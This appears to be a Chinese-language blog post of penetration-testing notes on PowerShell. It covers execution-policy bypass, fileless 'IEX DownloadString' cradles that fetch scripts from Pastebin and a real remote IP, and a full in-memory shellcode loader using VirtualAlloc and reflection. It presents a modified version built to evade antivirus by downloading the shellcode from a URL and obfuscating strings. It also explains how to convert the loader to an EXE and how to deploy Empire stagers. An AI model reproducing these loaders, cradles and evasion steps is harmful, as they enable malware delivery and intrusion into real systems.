Powershell渗透框架

Powershell基础

基本

  1. windows下的cat

    1
    type

    image-20240204194413264

  2. 删除文件

    1
    del /f(强制)
  3. 复制文件

    1
    copy
  4. 移动文件

    1
    move 
  5. 查看进程

    1
    tasklist
  6. 查看系统的版本

    1
    systenminfo

运行powersehll

  1. 本地运行

    1
    2
    powershell -ep bypass -f .\test.ps1
    powersehll -f test.ps1
  2. 远程运行

    可以绕过绝大多数的杀毒软件

    1
    2
    powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/M676F14U')"
    powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/cmd')"

    把远程url下载到内存里的字符串当作powersehll 脚本执行

    现在来做演示

    使用Pastebin.com - #1 paste tool since 2002!挂载代码

    粘贴文件创建文件然后出现下面这个

    image-20240204200517158

    生成了一个这个界面之后,点击raw

    image-20240204200602845

    image-20240204200655048

    就发现成功的执行了,但是实际上一般都是放到vps 上面,然后开启一个 http.server 的服务,就可以成功的访问了

执行策略(面试)

  1. 查看当前的执行策略

    1
    Get-ExecutionPolicy  
  2. 查看所有的执行策略

    1
    Get-ExecutionPolicy -list

    image-20240204201342883

  3. 执行策略

    名称 说明
    AllSigned 允许执行所有具有数字签名的脚本
    Bypass 不阻止任何操作,并且没有任何警告或者提示
    Default 设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器远程签名。
    RemoteSigned 允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具有数字签名,可以直接执行。
    Restricted 受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows 8,Windows 8.1,Windows Server 2012中默认策略。
    Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略
    Unrestricted 允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。需要确认是否执行脚本。

    注意几个完全可以执行文件的策略

绕过执行策略

  1. 远程直接加载(免杀)

    很重要,因为无文件落地

  2. 添加参数

    1
    -ep

无内存加载

  1. 使用前面提到的远程加载

  2. 使用cs
    image-20240204210637416

    为了能免杀通过我们可以尝试做一下免杀,但是现在这些免杀技巧都是不能使用的

    尝试获取它默认的payload

    image-20240204212151352

    image-20240204212157993

    首先改一下

    image-20240204213047614

    先改成echo

    image-20240204213230648

    查看加密之后的是什么

    image-20240204213515374

    将输入导入新的文件,将添加echo的文件添加

    image-20240204213717999

    查看cs2

    image-20240204213841205

    发现就是一个简单加载bin文件的一个脚本,之所以会被查杀,就是因为bin文件里面有特征码

    如果我们可以直接加载文件,而不是以字符串的形式就可以了

    具体的过程是,先加载

    1
    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:8088/a'))"

    但是一般使用下面这个

    1
    powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:8088/a'))"

    cs1.ps

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    # 启用 PowerShell 的严格模式,并设置版本为 2
    # 强制要求变量在使用之前必须先声明,并且不允许使用未定义的属性、方法和变量等。
    Set-StrictMode -Version 2

    # 定义func_get_proc_address函数
    function func_get_proc_address {
    # 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
    Param ($var_module, $var_procedure)
    # 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
    # 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    # 然后通过调用该对象的Invoke()方法,获取函数地址。
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
    }

    # 定义func_get_delegate_type函数,创建一个新的委托类型,并返回改类型
    function func_get_delegate_type {
    # 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
    # $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    # 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
    # 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
    }

    # 通过比较IntPtr类型的大小是否为8字节,来判断系统是否为64位
    If ([IntPtr]::size -eq 8) {
    # base64解码操作
    [Byte[]]$var_code = [System.Convert]::FromBase64String('...base64加密后的payload...')

    # 将byte数组进行xor异或操作
    for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
    }

    # Marshal 类:提供了一个方法集合,这些方法用于分配非托管内存、复制非托管内存块、将托管类型转换为非托管类型,此外还提供了在与非托管代码交互时使用的其他杂项方法。
    # GetDelegateForFunctionPointer<TDelegate>(IntPtr):[在 .NET Framework 4.5.1 和更高版本中受支持] 将非托管函数指针转换为指定类型的委托。
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

    # 申请一块内存
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

    # 将payload复制到内存
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

    # 执行内存中的payload
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
    }

    修改后的powershell加载器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    Set-StrictMode -Version 2

    function func_get_delegate_type_new {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
    }

    function func_get_proc_address_new {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
    }

    If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)

    }

    image-20240204221142381

    下载文件

    通过接受本地或者远程的 payload 实现加载器与shellcode分离

    1
    2
    3
    powershell -ep bypass -f d.ps1 new.bin

    powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin

    或者将powershell 转成 exe免杀

    https://github.com/MScholtes/Win-PS2EXE

    1
    powershell.exe -ep bypass -command "&'.\ps2exe.ps1' -inputFile 'd.ps1' -outputFile 'd.exe'"
  3. 基于上面的免杀使用流程

    将shellcode加载器变成exe

    也就是将下面这个变成exe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    Set-StrictMode -Version 2

    function func_get_delegate_type_new {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
    }

    function func_get_proc_address_new {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
    }

    If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)

    }

    然后将第一个下载的文件改成echo > cs2.ps1

    也就是下面这个文件

    image-20240204223822204

    然后从cs2.ps1 中提取出有用的payload部分

    image-20240204224023599

    后面的参数部分,嵌入到其他文件

    1
    2
    3
    4
    5
    6
    $enc=[System.Convert]::FromBase64String('...base64加密后的payload...')
    for ($x = 0; $x -lt $enc.Count; $x++) {
    $enc[$x] = $enc[$x] -bxor 35
    }

    $infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

    image-20240204224210497

    产生了一个新的文件

    image-20240204225409570

    1
    2
    powershell -ep bypass -f d.ps1 new.bin
    powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin

    或者是将shellcode加载器变成exe

    1
    2
    shellcodeloader.exe new.bin
    shellcodeloader.exe http://139.155.49.43:8000/shell1.bin

    image-20240204231220345

Powershell工具框架-Empire

Empire简介

Empire 是一个针对内网渗透的渗透测试框架

https://github.com/BC-SECURITY/Empire

Empire 是一个PowerShell后期漏洞利用工代理工具同时也是一款很强大的后渗透测神器,它建立在 密码学、安全通信和灵架构之上。Empire 实现了无需 Powershell.exe 就可运行 PowerShell 代理的功能。快速部署后期漏洞利用模块,从键盘记录器到Mimikatz,并且能够适应通信躲避网络 检测,所有的这些功能都封装在一个以实用性为重点的框架中。

安装

kali直接安装

1
sudo apt install powershell-empire

docker 拉取镜像docker

1
2
3
4
5
6
# 拉取镜像
docker pull bcsecurity/empire:latest

# 运行服务器并打开 rest api 和套接字端口
docker run -dit -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

修改kali 的配置文件/etc/powershell-empire/client/config.yaml 的 servers:

image-20240205002854574

修改成自己的地址

然后直接执行这个命令

image-20240205002917599

image-20240205002952278

使用

基本逻辑都是一样的,首先进入到listeners

image-20240205003034363

image-20240205003150450

image-20240205003509499

创建一个http的监听器,根据提示填写

image-20240205004120288

1
execute

image-20240205004205077

image-20240205004237370

1
2
3
usestager windows/launcher_bat
set Listener test(listenner)
execute

image-20240205004824420

将获得的bat文件弄出来,运行之后就上线了

Empire图形界面工具Starkiller

这个只是一个客户端,服务端建议还是使用kali 或者docker 下载

安装

1
2
3
4
5
6
7
apt update
apt install nodejs npm -y
npm install --global yarn
git clone https://github.com/BC-SECURITY/Starkiller.git
cd Starkiller
yarn
yarn run serve --host

Powershell渗透框架
https://tsy244.github.io/2024/02/04/渗透/Powershell渗透框架/
Author
August Rosenberg
Posted on
February 4, 2024
Licensed under